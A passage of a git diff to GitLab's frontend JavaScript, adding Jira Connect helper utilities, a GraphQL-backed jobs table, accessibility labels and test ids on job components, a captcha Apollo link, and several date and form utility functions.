- const formEl = document.querySelector('#add-subscription-form');
- if (!formEl) {
- return;
- }
-
- formEl.addEventListener('submit', function onAddSubscriptionForm(e) {
- e.preventDefault();
-
- const addPath = e.target.getAttribute('action');
- const namespace = (e.target.querySelector('#namespace-input') || {}).value;
-
- addSubscription(addPath, namespace)
- .then(reqComplete)
- .catch((err) => reqFailed(err.response.data, 'Failed to add namespace. Please try again.'));
- });
-};
-
export async function initJiraConnect() {
- initAddSubscriptionFormHandler();
- initRemoveSubscriptionButtonHandlers();
-
await updateSignInLinks();
const el = document.querySelector('.js-jira-connect-app');
@@ -76,14 +29,15 @@ export async function initJiraConnect() {
Vue.use(Translate);
Vue.use(GlFeatureFlagsPlugin);
- const { groupsPath, subscriptionsPath, usersPath } = el.dataset;
- AP.sizeToParent();
+ const { groupsPath, subscriptions, subscriptionsPath, usersPath } = el.dataset;
+ sizeToParent();
return new Vue({
el,
store,
provide: {
groupsPath,
+ subscriptions: JSON.parse(subscriptions),
subscriptionsPath,
usersPath,
},
diff --git a/app/assets/javascripts/jira_connect/utils.js b/app/assets/javascripts/jira_connect/utils.js
index 2a6c53ba42c..ecd1a31339a 100644
--- a/app/assets/javascripts/jira_connect/utils.js
+++ b/app/assets/javascripts/jira_connect/utils.js
@@ -1,6 +1,8 @@
import AccessorUtilities from '~/lib/utils/accessor';
import { ALERT_LOCALSTORAGE_KEY } from './constants';
+const isFunction = (fn) => typeof fn === 'function';
+
/**
* Persist alert data to localStorage.
*/
@@ -31,3 +33,41 @@ export const retrieveAlert = () => {
return JSON.parse(initialAlertJSON);
};
+
+export const getJwt = () => {
+ return new Promise((resolve) => {
+ if (isFunction(AP?.context?.getToken)) {
+ AP.context.getToken((token) => {
+ resolve(token);
+ });
+ } else {
+ resolve();
+ }
+ });
+};
+
+export const getLocation = () => {
+ return new Promise((resolve) => {
+ if (isFunction(AP?.getLocation)) {
+ AP.getLocation((location) => {
+ resolve(location);
+ });
+ } else {
+ resolve();
+ }
+ });
+};
+
+export const reloadPage = () => {
+ if (isFunction(AP?.navigator?.reload)) {
+ AP.navigator.reload();
+ } else {
+ window.location.reload();
+ }
+};
+
+export const sizeToParent = () => {
+ if (isFunction(AP?.sizeToParent)) {
+ AP.sizeToParent();
+ }
+};
diff --git a/app/assets/javascripts/jobs/components/commit_block.vue b/app/assets/javascripts/jobs/components/commit_block.vue
index eae6b5d5419..7f25ca8a94d 100644
--- a/app/assets/javascripts/jobs/components/commit_block.vue
+++ b/app/assets/javascripts/jobs/components/commit_block.vue
@@ -1,5 +1,4 @@
<script>
-/* eslint-disable @gitlab/vue-require-i18n-strings */
import { GlLink } from '@gitlab/ui';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
@@ -23,9 +22,9 @@ export default {
</script>
<template>
<div>
- <span class="font-weight-bold">{{ __('Commit') }}</span>
+ <span class="gl-font-weight-bold">{{ __('Commit') }}</span>
- <gl-link :href="commit.commit_path" class="js-commit-sha commit-sha link-commit">
+ <gl-link :href="commit.commit_path" class="gl-text-blue-600!" data-testid="commit-sha">
{{ commit.short_id }}
</gl-link>
@@ -37,8 +36,8 @@ export default {
/>
<span v-if="mergeRequest">
- in
- <gl-link :href="mergeRequest.path" class="js-link-commit link-commit"
+ {{ __('in') }}
+ <gl-link :href="mergeRequest.path" class="gl-text-blue-600!" data-testid="link-commit"
>!{{ mergeRequest.iid }}</gl-link
>
</span>
diff --git a/app/assets/javascripts/jobs/components/job_container_item.vue b/app/assets/javascripts/jobs/components/job_container_item.vue
index 488d838db52..00a570fe2f8 100644
--- a/app/assets/javascripts/jobs/components/job_container_item.vue
+++ b/app/assets/javascripts/jobs/components/job_container_item.vue
@@ -48,7 +48,7 @@ export default {
}"
>
<gl-link
- v-gl-tooltip
+ v-gl-tooltip:tooltip-container.left
:href="job.status.details_path"
:title="tooltipText"
class="js-job-link gl-display-flex gl-align-items-center"
diff --git a/app/assets/javascripts/jobs/components/job_log_controllers.vue b/app/assets/javascripts/jobs/components/job_log_controllers.vue
index ce4a85b35b7..ea50a11bed6 100644
--- a/app/assets/javascripts/jobs/components/job_log_controllers.vue
+++ b/app/assets/javascripts/jobs/components/job_log_controllers.vue
@@ -1,9 +1,15 @@
<script>
import { GlTooltipDirective, GlLink, GlButton } from '@gitlab/ui';
import { numberToHumanSize } from '~/lib/utils/number_utils';
-import { __, sprintf } from '~/locale';
+import { __, s__, sprintf } from '~/locale';
export default {
+ i18n: {
+ eraseLogButtonLabel: s__('Job|Erase job log'),
+ scrollToBottomButtonLabel: s__('Job|Scroll to bottom'),
+ scrollToTopButtonLabel: s__('Job|Scroll to top'),
+ showRawButtonLabel: s__('Job|Show complete raw'),
+ },
components: {
GlLink,
GlButton,
@@ -82,7 +88,8 @@ export default {
<gl-button
v-if="rawPath"
v-gl-tooltip.body
- :title="s__('Job|Show complete raw')"
+ :title="$options.i18n.showRawButtonLabel"
+ :aria-label="$options.i18n.showRawButtonLabel"
:href="rawPath"
data-testid="job-raw-link-controller"
icon="doc-text"
@@ -91,7 +98,8 @@ export default {
<gl-button
v-if="erasePath"
v-gl-tooltip.body
- :title="s__('Job|Erase job log')"
+ :title="$options.i18n.eraseLogButtonLabel"
+ :aria-label="$options.i18n.eraseLogButtonLabel"
:href="erasePath"
:data-confirm="__('Are you sure you want to erase this build?')"
class="gl-ml-3"
@@ -102,23 +110,25 @@ export default {
<!-- eo links -->
<!-- scroll buttons -->
- <div v-gl-tooltip :title="s__('Job|Scroll to top')" class="gl-ml-3">
+ <div v-gl-tooltip :title="$options.i18n.scrollToTopButtonLabel" class="gl-ml-3">
<gl-button
:disabled="isScrollTopDisabled"
class="btn-scroll"
data-testid="job-controller-scroll-top"
icon="scroll_up"
+ :aria-label="$options.i18n.scrollToTopButtonLabel"
@click="handleScrollToTop"
/>
</div>
- <div v-gl-tooltip :title="s__('Job|Scroll to bottom')" class="gl-ml-3">
+ <div v-gl-tooltip :title="$options.i18n.scrollToBottomButtonLabel" class="gl-ml-3">
<gl-button
:disabled="isScrollBottomDisabled"
class="js-scroll-bottom btn-scroll"
data-testid="job-controller-scroll-bottom"
icon="scroll_down"
:class="{ animate: isScrollingDown }"
+ :aria-label="$options.i18n.scrollToBottomButtonLabel"
@click="handleScrollToBottom"
/>
</div>
diff --git a/app/assets/javascripts/jobs/components/manual_variables_form.vue b/app/assets/javascripts/jobs/components/manual_variables_form.vue
index a1f4f7abb77..d45012d2023 100644
--- a/app/assets/javascripts/jobs/components/manual_variables_form.vue
+++ b/app/assets/javascripts/jobs/components/manual_variables_form.vue
@@ -43,6 +43,7 @@ export default {
variables: [],
key: '',
secretValue: '',
+ triggerBtnDisabled: false,
};
},
computed: {
@@ -98,6 +99,11 @@ export default {
1,
);
},
+ trigger() {
+ this.triggerBtnDisabled = true;
+
+ this.triggerManualJob(this.variables);
+ },
},
};
</script>
@@ -111,7 +117,12 @@ export default {
<div class="table-section section-50" role="rowheader">{{ s__('CiVariables|Value') }}</div>
</div>
- <div v-for="variable in variables" :key="variable.id" class="gl-responsive-table-row">
+ <div
+ v-for="variable in variables"
+ :key="variable.id"
+ class="gl-responsive-table-row"
+ data-testid="ci-variable-row"
+ >
<div class="table-section section-50">
<div class="table-mobile-header" role="rowheader">{{ s__('Pipeline|Key') }}</div>
<div class="table-mobile-content gl-mr-3">
@@ -120,6 +131,7 @@ export default {
v-model="variable.key"
:placeholder="$options.i18n.keyPlaceholder"
class="ci-variable-body-item form-control"
+ data-testid="ci-variable-key"
/>
</div>
</div>
@@ -132,6 +144,7 @@ export default {
v-model="variable.secret_value"
:placeholder="$options.i18n.valuePlaceholder"
class="ci-variable-body-item form-control"
+ data-testid="ci-variable-value"
/>
</div>
</div>
@@ -143,6 +156,7 @@ export default {
category="tertiary"
icon="clear"
:aria-label="__('Delete variable')"
+ data-testid="delete-variable-btn"
@click="deleteVariable(variable.id)"
/>
</div>
@@ -175,14 +189,16 @@ export default {
</div>
</div>
<div class="d-flex gl-mt-3 justify-content-center">
- <p class="text-muted" v-html="helpText"></p>
+ <p class="text-muted" data-testid="form-help-text" v-html="helpText"></p>
</div>
<div class="d-flex justify-content-center">
<gl-button
variant="info"
category="primary"
:aria-label="__('Trigger manual job')"
- @click="triggerManualJob(variables)"
+ :disabled="triggerBtnDisabled"
+ data-testid="trigger-manual-job-btn"
+ @click="trigger"
>
{{ action.button_title }}
</gl-button>
diff --git a/app/assets/javascripts/jobs/components/sidebar.vue b/app/assets/javascripts/jobs/components/sidebar.vue
index fcf03dff34e..1b50006239c 100644
--- a/app/assets/javascripts/jobs/components/sidebar.vue
+++ b/app/assets/javascripts/jobs/components/sidebar.vue
@@ -49,7 +49,8 @@ export default {
return this.job.status && this.job.recoverable ? 'primary' : 'secondary';
},
hasArtifact() {
- return !isEmpty(this.job.artifact);
+ // the artifact object will always have a locked property
+ return Object.keys(this.job.artifact).length > 1;
},
hasTriggers() {
return !isEmpty(this.job.trigger);
diff --git a/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue b/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue
index b20d58b6ffe..98badb96ed7 100644
--- a/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue
+++ b/app/assets/javascripts/jobs/components/sidebar_job_details_container.vue
@@ -51,7 +51,9 @@ export default {
});
},
runnerId() {
- return `${this.job.runner.description} (#${this.job.runner.id})`;
+ const { id, short_sha: token, description } = this.job?.runner;
+
+ return `#${id} (${token}) ${description}`;
},
shouldRenderBlock() {
return Boolean(this.hasAnyDetail || this.hasTimeout || this.hasTags);
diff --git a/app/assets/javascripts/jobs/components/stages_dropdown.vue b/app/assets/javascripts/jobs/components/stages_dropdown.vue
index 18de849af88..36b0ad43b14 100644
--- a/app/assets/javascripts/jobs/components/stages_dropdown.vue
+++ b/app/assets/javascripts/jobs/components/stages_dropdown.vue
@@ -44,13 +44,14 @@ export default {
</script>
<template>
<div class="dropdown">
- <div class="js-pipeline-info">
+ <div class="js-pipeline-info" data-testid="pipeline-info">
<ci-icon :status="pipeline.details.status" class="vertical-align-middle" />
<span class="font-weight-bold">{{ s__('Job|Pipeline') }}</span>
<gl-link
:href="pipeline.path"
class="js-pipeline-path link-commit"
+ data-testid="pipeline-path"
data-qa-selector="pipeline_path"
>#{{ pipeline.id }}</gl-link
>
@@ -58,13 +59,17 @@ export default {
{{ s__('Job|for') }}
<template v-if="isTriggeredByMergeRequest">
- <gl-link :href="pipeline.merge_request.path" class="link-commit ref-name js-mr-link"
+ <gl-link
+ :href="pipeline.merge_request.path"
+ class="link-commit ref-name"
+ data-testid="mr-link"
>!{{ pipeline.merge_request.iid }}</gl-link
>
{{ s__('Job|with') }}
<gl-link
:href="pipeline.merge_request.source_branch_path"
- class="link-commit ref-name js-source-branch-link"
+ class="link-commit ref-name"
+ data-testid="source-branch-link"
>{{ pipeline.merge_request.source_branch }}</gl-link
>
@@ -72,7 +77,8 @@ export default {
{{ s__('Job|into') }}
<gl-link
:href="pipeline.merge_request.target_branch_path"
- class="link-commit ref-name js-target-branch-link"
+ class="link-commit ref-name"
+ data-testid="target-branch-link"
>{{ pipeline.merge_request.target_branch }}</gl-link
>
</template>
diff --git a/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql b/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql
new file mode 100644
index 00000000000..d9e51b0345a
--- /dev/null
+++ b/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql
@@ -0,0 +1,52 @@
+query getJobs($fullPath: ID!, $statuses: [CiJobStatus!]) {
+ project(fullPath: $fullPath) {
+ jobs(first: 20, statuses: $statuses) {
+ pageInfo {
+ endCursor
+ hasNextPage
+ hasPreviousPage
+ startCursor
+ }
+ nodes {
+ detailedStatus {
+ icon
+ label
+ text
+ tooltip
+ action {
+ buttonTitle
+ icon
+ method
+ path
+ title
+ }
+ }
+ id
+ refName
+ refPath
+ tags
+ shortSha
+ commitPath
+ pipeline {
+ id
+ path
+ user {
+ webPath
+ avatarUrl
+ }
+ }
+ stage {
+ name
+ }
+ name
+ duration
+ finishedAt
+ coverage
+ retryable
+ playable
+ cancelable
+ active
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/jobs/components/table/index.js b/app/assets/javascripts/jobs/components/table/index.js
new file mode 100644
index 00000000000..b6b3bb6d379
--- /dev/null
+++ b/app/assets/javascripts/jobs/components/table/index.js
@@ -0,0 +1,33 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import JobsTableApp from '~/jobs/components/table/jobs_table_app.vue';
+import createDefaultClient from '~/lib/graphql';
+
+Vue.use(VueApollo);
+
+const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+});
+
+export default (containerId = 'js-jobs-table') => {
+ const containerEl = document.getElementById(containerId);
+
+ if (!containerEl) {
+ return false;
+ }
+
+ const { fullPath, jobCounts, jobStatuses } = containerEl.dataset;
+
+ return new Vue({
+ el: containerEl,
+ apolloProvider,
+ provide: {
+ fullPath,
+ jobStatuses: JSON.parse(jobStatuses),
+ jobCounts: JSON.parse(jobCounts),
+ },
+ render(createElement) {
+ return createElement(JobsTableApp);
+ },
+ });
+};
diff --git a/app/assets/javascripts/jobs/components/table/jobs_table.vue b/app/assets/javascripts/jobs/components/table/jobs_table.vue
new file mode 100644
index 00000000000..32b26d45dfe
--- /dev/null
+++ b/app/assets/javascripts/jobs/components/table/jobs_table.vue
@@ -0,0 +1,67 @@
+<script>
+import { GlTable } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+const defaultTableClasses = {
+ tdClass: 'gl-p-5!',
+ thClass: 'gl-bg-transparent! gl-border-b-solid! gl-border-b-gray-100! gl-p-5! gl-border-b-1!',
+};
+
+export default {
+ fields: [
+ {
+ key: 'status',
+ label: __('Status'),
+ ...defaultTableClasses,
+ },
+ {
+ key: 'job',
+ label: __('Job'),
+ ...defaultTableClasses,
+ },
+ {
+ key: 'pipeline',
+ label: __('Pipeline'),
+ ...defaultTableClasses,
+ },
+ {
+ key: 'stage',
+ label: __('Stage'),
+ ...defaultTableClasses,
+ },
+ {
+ key: 'name',
+ label: __('Name'),
+ ...defaultTableClasses,
+ },
+ {
+ key: 'duration',
+ label: __('Duration'),
+ ...defaultTableClasses,
+ },
+ {
+ key: 'coverage',
+ label: __('Coverage'),
+ ...defaultTableClasses,
+ },
+ {
+ key: 'actions',
+ label: '',
+ ...defaultTableClasses,
+ },
+ ],
+ components: {
+ GlTable,
+ },
+ props: {
+ jobs: {
+ type: Array,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-table :items="jobs" :fields="$options.fields" />
+</template>
diff --git a/app/assets/javascripts/jobs/components/table/jobs_table_app.vue b/app/assets/javascripts/jobs/components/table/jobs_table_app.vue
new file mode 100644
index 00000000000..55954e31654
--- /dev/null
+++ b/app/assets/javascripts/jobs/components/table/jobs_table_app.vue
@@ -0,0 +1,85 @@
+<script>
+import { GlAlert, GlSkeletonLoader } from '@gitlab/ui';
+import { __ } from '~/locale';
+import GetJobs from './graphql/queries/get_jobs.query.graphql';
+import JobsTable from './jobs_table.vue';
+import JobsTableTabs from './jobs_table_tabs.vue';
+
+export default {
+ i18n: {
+ errorMsg: __('There was an error fetching the jobs for your project.'),
+ },
+ components: {
+ GlAlert,
+ GlSkeletonLoader,
+ JobsTable,
+ JobsTableTabs,
+ },
+ inject: {
+ fullPath: {
+ default: '',
+ },
+ },
+ apollo: {
+ jobs: {
+ query: GetJobs,
+ variables() {
+ return {
+ fullPath: this.fullPath,
+ };
+ },
+ update({ project }) {
+ return project?.jobs;
+ },
+ error() {
+ this.hasError = true;
+ },
+ },
+ },
+ data() {
+ return {
+ jobs: null,
+ hasError: false,
+ isAlertDismissed: false,
+ };
+ },
+ computed: {
+ shouldShowAlert() {
+ return this.hasError && !this.isAlertDismissed;
+ },
+ },
+ methods: {
+ fetchJobsByStatus(scope) {
+ this.$apollo.queries.jobs.refetch({ statuses: scope });
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-alert
+ v-if="shouldShowAlert"
+ class="gl-mt-2"
+ variant="danger"
+ dismissible
+ @dismiss="isAlertDismissed = true"
+ >
+ {{ $options.i18n.errorMsg }}
+ </gl-alert>
+
+ <jobs-table-tabs @fetchJobsByStatus="fetchJobsByStatus" />
+
+ <div v-if="$apollo.loading" class="gl-mt-5">
+ <gl-skeleton-loader
+ preserve-aspect-ratio="none"
+ equal-width-lines
+ :lines="5"
+ :width="600"
+ :height="66"
+ />
+ </div>
+
+ <jobs-table v-else :jobs="jobs.nodes" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/jobs/components/table/jobs_table_tabs.vue b/app/assets/javascripts/jobs/components/table/jobs_table_tabs.vue
new file mode 100644
index 00000000000..95d265fce60
--- /dev/null
+++ b/app/assets/javascripts/jobs/components/table/jobs_table_tabs.vue
@@ -0,0 +1,66 @@
+<script>
+import { GlBadge, GlTab, GlTabs } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ components: {
+ GlBadge,
+ GlTab,
+ GlTabs,
+ },
+ inject: {
+ jobCounts: {
+ default: {},
+ },
+ jobStatuses: {
+ default: {},
+ },
+ },
+ computed: {
+ tabs() {
+ return [
+ {
+ text: __('All'),
+ count: this.jobCounts.all,
+ scope: null,
+ testId: 'jobs-all-tab',
+ },
+ {
+ text: __('Pending'),
+ count: this.jobCounts.pending,
+ scope: this.jobStatuses.pending,
+ testId: 'jobs-pending-tab',
+ },
+ {
+ text: __('Running'),
+ count: this.jobCounts.running,
+ scope: this.jobStatuses.running,
+ testId: 'jobs-running-tab',
+ },
+ {
+ text: __('Finished'),
+ count: this.jobCounts.finished,
+ scope: [this.jobStatuses.success, this.jobStatuses.failed, this.jobStatuses.canceled],
+ testId: 'jobs-finished-tab',
+ },
+ ];
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-tabs>
+ <gl-tab
+ v-for="tab in tabs"
+ :key="tab.text"
+ :title-link-attributes="{ 'data-testid': tab.testId }"
+ @click="$emit('fetchJobsByStatus', tab.scope)"
+ >
+ <template #title>
+ <span>{{ tab.text }}</span>
+ <gl-badge size="sm" class="gl-tab-counter-badge">{{ tab.count }}</gl-badge>
+ </template>
+ </gl-tab>
+ </gl-tabs>
+</template>
diff --git a/app/assets/javascripts/labels_select.js b/app/assets/javascripts/labels_select.js
index 56e69ab9418..fb88e48c9a6 100644
--- a/app/assets/javascripts/labels_select.js
+++ b/app/assets/javascripts/labels_select.js
@@ -1,4 +1,4 @@
-/* eslint-disable no-useless-return, func-names, no-underscore-dangle, no-new, consistent-return, no-shadow, no-param-reassign, no-lonely-if, dot-notation, no-empty */
+/* eslint-disable func-names, no-underscore-dangle, no-new, consistent-return, no-shadow, no-param-reassign, no-lonely-if, no-empty */
/* global Issuable */
/* global ListLabel */
@@ -7,7 +7,6 @@ import { difference, isEqual, escape, sortBy, template, union } from 'lodash';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
import { isScopedLabel } from '~/lib/utils/common_utils';
import boardsStore from './boards/stores/boards_store';
-import ModalStore from './boards/stores/modal_store';
import CreateLabelDropdown from './create_label';
import { deprecatedCreateFlash as flash } from './flash';
import IssuableBulkUpdateActions from './issuable_bulk_update_actions';
@@ -313,7 +312,11 @@ export default class LabelsSelect {
return;
}
- if ($('html').hasClass('issue-boards-page')) {
+ if (
+ $('html')
+ .attr('class')
+ .match(/issue-boards-page|epic-boards-page/)
+ ) {
return;
}
if ($dropdown.hasClass('js-multiselect')) {
@@ -357,21 +360,7 @@ export default class LabelsSelect {
return;
}
- let boardsModel;
- if ($dropdown.closest('.add-issues-modal').length) {
- boardsModel = ModalStore.store.filter;
- }
-
- if (boardsModel) {
- if (label.isAny) {
- boardsModel['label_name'] = [];
- } else if ($el.hasClass('is-active')) {
- boardsModel['label_name'].push(label.title);
- }
-
- e.preventDefault();
- return;
- } else if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
+ if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
if (!$dropdown.hasClass('js-multiselect')) {
selectedLabel = label.title;
return Issuable.filterResults($dropdown.closest('form'));
@@ -522,11 +511,15 @@ export default class LabelsSelect {
}
bindEvents() {
- return $('body').on('change', '.selected-issuable', this.onSelectCheckboxIssue);
+ return $('body').on(
+ 'change',
+ '.issuable-list input[type="checkbox"]',
+ this.onSelectCheckboxIssue,
+ );
}
// eslint-disable-next-line class-methods-use-this
onSelectCheckboxIssue() {
- if ($('.selected-issuable:checked').length) {
+ if ($('.issuable-list input[type="checkbox"]:checked').length) {
return;
}
return $('.issues-bulk-update .labels-filter .dropdown-toggle-text').text(__('Label'));
diff --git a/app/assets/javascripts/lib/graphql.js b/app/assets/javascripts/lib/graphql.js
index e090f9f6e8c..c720476f3bf 100644
--- a/app/assets/javascripts/lib/graphql.js
+++ b/app/assets/javascripts/lib/graphql.js
@@ -4,6 +4,7 @@ import { ApolloLink } from 'apollo-link';
import { BatchHttpLink } from 'apollo-link-batch-http';
import { createHttpLink } from 'apollo-link-http';
import { createUploadLink } from 'apollo-upload-client';
+import { apolloCaptchaLink } from '~/captcha/apollo_captcha_link';
import { StartupJSLink } from '~/lib/utils/apollo_startup_js_link';
import csrf from '~/lib/utils/csrf';
import PerformanceBarService from '~/performance_bar/services/performance_bar_service';
@@ -78,6 +79,7 @@ export default (resolvers = {}, config = {}) => {
requestCounterLink,
performanceBarLink,
new StartupJSLink(),
+ apolloCaptchaLink,
uploadsLink,
]),
cache: new InMemoryCache({
diff --git a/app/assets/javascripts/lib/utils/color_utils.js b/app/assets/javascripts/lib/utils/color_utils.js
index ff176f11867..da2c10076b1 100644
--- a/app/assets/javascripts/lib/utils/color_utils.js
+++ b/app/assets/javascripts/lib/utils/color_utils.js
@@ -43,3 +43,15 @@ export const validateHexColor = (color = '') => {
return /^#([0-9A-F]{3}){1,2}$/i.test(color);
};
+
+export function darkModeEnabled() {
+ const ideDarkThemes = ['dark', 'solarized-dark', 'monokai'];
+
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ const isWebIde = document.body.dataset.page.startsWith('ide:');
+
+ if (isWebIde) {
+ return ideDarkThemes.includes(window.gon?.user_color_scheme);
+ }
+ return document.body.classList.contains('gl-dark');
+}
diff --git a/app/assets/javascripts/lib/utils/common_utils.js b/app/assets/javascripts/lib/utils/common_utils.js
index 73eadfe3cbe..fb257228597 100644
--- a/app/assets/javascripts/lib/utils/common_utils.js
+++ b/app/assets/javascripts/lib/utils/common_utils.js
@@ -681,6 +681,19 @@ export const roundOffFloat = (number, precision = 0) => {
};
/**
+ * Method to round values to the nearest half (0.5)
+ *
+ * Eg; roundToNearestHalf(3.141592) = 3, roundToNearestHalf(3.41592) = 3.5
+ *
+ * Refer to spec/javascripts/lib/utils/common_utils_spec.js for
+ * more supported examples.
+ *
+ * @param {Float} number
+ * @returns {Float|Number}
+ */
+export const roundToNearestHalf = (num) => Math.round(num * 2).toFixed() / 2;
+
+/**
* Method to round down values with decimal places
* with provided precision.
*
diff --git a/app/assets/javascripts/lib/utils/datetime_utility.js b/app/assets/javascripts/lib/utils/datetime_utility.js
index 145b419f8f0..a509828815a 100644
--- a/app/assets/javascripts/lib/utils/datetime_utility.js
+++ b/app/assets/javascripts/lib/utils/datetime_utility.js
@@ -4,8 +4,6 @@ import { isString, mapValues, isNumber, reduce } from 'lodash';
import * as timeago from 'timeago.js';
import { languageCode, s__, __, n__ } from '../../locale';
-const MILLISECONDS_IN_HOUR = 60 * 60 * 1000;
-const MILLISECONDS_IN_DAY = 24 * MILLISECONDS_IN_HOUR;
const DAYS_IN_WEEK = 7;
window.timeago = timeago;
@@ -256,6 +254,37 @@ export const timeIntervalInWords = (intervalInSeconds) => {
: secondsText;
};
+/**
+ * Similar to `timeIntervalInWords`, but rounds the return value
+ * to 1/10th of the largest time unit. For example:
+ *
+ * 30 => 30 seconds
+ * 90 => 1.5 minutes
+ * 7200 => 2 hours
+ * 86400 => 1 day
+ * ... etc.
+ *
+ * The largest supported unit is "days".
+ *
+ * @param {Number} intervalInSeconds The time interval in seconds
+ * @returns {String} A humanized description of the time interval
+ */
+export const humanizeTimeInterval = (intervalInSeconds) => {
+ if (intervalInSeconds < 60 /* = 1 minute */) {
+ const seconds = Math.round(intervalInSeconds * 10) / 10;
+ return n__('%d second', '%d seconds', seconds);
+ } else if (intervalInSeconds < 3600 /* = 1 hour */) {
+ const minutes = Math.round(intervalInSeconds / 6) / 10;
+ return n__('%d minute', '%d minutes', minutes);
+ } else if (intervalInSeconds < 86400 /* = 1 day */) {
+ const hours = Math.round(intervalInSeconds / 360) / 10;
+ return n__('%d hour', '%d hours', hours);
+ }
+
+ const days = Math.round(intervalInSeconds / 8640) / 10;
+ return n__('%d day', '%d days', days);
+};
+
export const dateInWords = (date, abbreviated = false, hideYear = false) => {
if (!date) return date;
@@ -947,49 +976,6 @@ export const format24HourTimeStringFromInt = (time) => {
};
/**
- * A utility function which checks if two date ranges overlap.
- *
- * @param {Object} givenPeriodLeft - the first period to compare.
- * @param {Object} givenPeriodRight - the second period to compare.
- * @returns {Object} { daysOverlap: number of days the overlap is present, hoursOverlap: number of hours the overlap is present, overlapStartDate: the start date of the overlap in time format, overlapEndDate: the end date of the overlap in time format }
- * @throws {Error} Uncaught Error: Invalid period
- *
- * @example
- * getOverlapDateInPeriods(
- * { start: new Date(2021, 0, 11), end: new Date(2021, 0, 13) },
- * { start: new Date(2021, 0, 11), end: new Date(2021, 0, 14) }
- * ) => { daysOverlap: 2, hoursOverlap: 48, overlapStartDate: 1610323200000, overlapEndDate: 1610496000000 }
- *
- */
-export const getOverlapDateInPeriods = (givenPeriodLeft = {}, givenPeriodRight = {}) => {
- const leftStartTime = new Date(givenPeriodLeft.start).getTime();
- const leftEndTime = new Date(givenPeriodLeft.end).getTime();
- const rightStartTime = new Date(givenPeriodRight.start).getTime();
- const rightEndTime = new Date(givenPeriodRight.end).getTime();
-
- if (!(leftStartTime <= leftEndTime && rightStartTime <= rightEndTime)) {
- throw new Error(__('Invalid period'));
- }
-
- const isOverlapping = leftStartTime < rightEndTime && rightStartTime < leftEndTime;
-
- if (!isOverlapping) {
- return { daysOverlap: 0 };
- }
-
- const overlapStartDate = Math.max(leftStartTime, rightStartTime);
- const overlapEndDate = rightEndTime > leftEndTime ? leftEndTime : rightEndTime;
- const differenceInMs = overlapEndDate - overlapStartDate;
-
- return {
- hoursOverlap: Math.ceil(differenceInMs / MILLISECONDS_IN_HOUR),
- daysOverlap: Math.ceil(differenceInMs / MILLISECONDS_IN_DAY),
- overlapStartDate,
- overlapEndDate,
- };
-};
-
-/**
* A utility function that checks that the date is today
*
* @param {Date} date
diff --git a/app/assets/javascripts/lib/utils/forms.js b/app/assets/javascripts/lib/utils/forms.js
index 52e1323412d..b58aef15dda 100644
--- a/app/assets/javascripts/lib/utils/forms.js
+++ b/app/assets/javascripts/lib/utils/forms.js
@@ -1,3 +1,5 @@
+import { convertToCamelCase } from '~/lib/utils/text_utility';
+
export const serializeFormEntries = (entries) =>
entries.reduce((acc, { name, value }) => Object.assign(acc, { [name]: value }), {});
@@ -51,3 +53,95 @@ export const serializeFormObject = (form) =>
return acc;
}, []),
);
+
+/**
+ * Parse inputs of HTML forms generated by Rails.
+ *
+ * This can be helpful when mounting Vue components within Rails forms.
+ *
+ * If called with an HTML element like:
+ *
+ * ```html
+ * <input type="text" placeholder="Email" value="foo@bar.com" name="user[contact_info][email]" id="user_contact_info_email" data-js-name="contactInfoEmail">
+ * <input type="text" placeholder="Phone" value="(123) 456-7890" name="user[contact_info][phone]" id="user_contact_info_phone" data-js-name="contactInfoPhone">
+ * <input type="checkbox" name="user[interests][]" id="user_interests_vue" value="Vue" checked data-js-name="interests">
+ * <input type="checkbox" name="user[interests][]" id="user_interests_graphql" value="GraphQL" data-js-name="interests">
+ * ```
+ *
+ * It will return an object like:
+ *
+ * ```javascript
+ * {
+ * contactInfoEmail: {
+ * name: 'user[contact_info][email]',
+ * id: 'user_contact_info_email',
+ * value: 'foo@bar.com',
+ * placeholder: 'Email',
+ * },
+ * contactInfoPhone: {
+ * name: 'user[contact_info][phone]',
+ * id: 'user_contact_info_phone',
+ * value: '(123) 456-7890',
+ * placeholder: 'Phone',
+ * },
+ * interests: [
+ * {
+ * name: 'user[interests][]',
+ * id: 'user_interests_vue',
+ * value: 'Vue',
+ * checked: true,
+ * },
+ * {
+ * name: 'user[interests][]',
+ * id: 'user_interests_graphql',
+ * value: 'GraphQL',
+ * checked: false,
+ * },
+ * ],
+ * }
+ * ```
+ *
+ * @param {HTMLInputElement} mountEl
+ * @returns {Object} object with form fields data.
+ */
+export const parseRailsFormFields = (mountEl) => {
+ if (!mountEl) {
+ throw new TypeError('`mountEl` argument is required');
+ }
+
+ const inputs = mountEl.querySelectorAll('[name]');
+
+ return [...inputs].reduce((accumulator, input) => {
+ const fieldName = input.dataset.jsName;
+
+ if (!fieldName) {
+ return accumulator;
+ }
+
+ const fieldNameCamelCase = convertToCamelCase(fieldName);
+ const { id, placeholder, name, value, type, checked } = input;
+ const attributes = {
+ name,
+ id,
+ value,
+ ...(placeholder && { placeholder }),
+ };
+
+ // Store radio buttons and checkboxes as an array so they can be
+ // looped through and rendered in Vue
+ if (['radio', 'checkbox'].includes(type)) {
+ return {
+ ...accumulator,
+ [fieldNameCamelCase]: [
+ ...(accumulator[fieldNameCamelCase] || []),
+ { ...attributes, checked },
+ ],
+ };
+ }
+
+ return {
+ ...accumulator,
+ [fieldNameCamelCase]: attributes,
+ };
+ }, {});
+};
